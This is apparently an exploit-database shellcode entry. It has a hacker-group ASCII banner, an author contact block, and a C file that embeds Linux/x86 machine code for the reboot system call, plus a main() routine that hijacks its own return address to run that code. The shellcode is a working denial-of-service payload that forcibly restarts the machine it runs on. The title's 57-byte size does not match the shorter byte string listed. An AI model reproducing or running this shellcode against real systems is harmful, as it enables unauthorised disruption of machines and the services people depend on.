/*
*
* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
* 0 _ __ __ __ 1
* 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
* 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
* 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
* 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
* 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
* 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
* 1 \ \____/ >> Exploit database separated by exploit 0
* 0 \/___/ type (local, remote, DoS, etc.) 1
* 1 1
* 0 [x] Official Website: http://www.1337day.com 0
* 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1
* 0 0
* 1 ========================================== 1
* 0 I'm Taurus Omar Member From Inj3ct0r TEAM 1
* 1 ========================================== 0
* 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
* | |
* | Linux/x86 - Force Reboot () 57 Bytes |
* --------------------------------------------------------------------------
*
* +----------------| ABOUT ME |--------------------+
* NAME: TAURUS OMAR -
* LINE: INDEPENDENT SECURITY RESEARCHER -
* HOME: ACCESOILEGAL.BLOGSPOT.COM -
* Fcbook: facebook.com/OMARTAURUS -
* TWITTER: @taurusomar_ -
* E-MAIL: omar-taurus[at]dragonsecurity[dot]org -
* E-MAIL: omar-taurus[at]live[dot]com -
* PWNED: #ZUUU -
* +------------------------------------------------+
*
* Exploit Title: Linux/x86 - Force Reboot () 57 Bytes
* Category: Shellcode
*/
char shellcode[] =
"\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19"
"\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}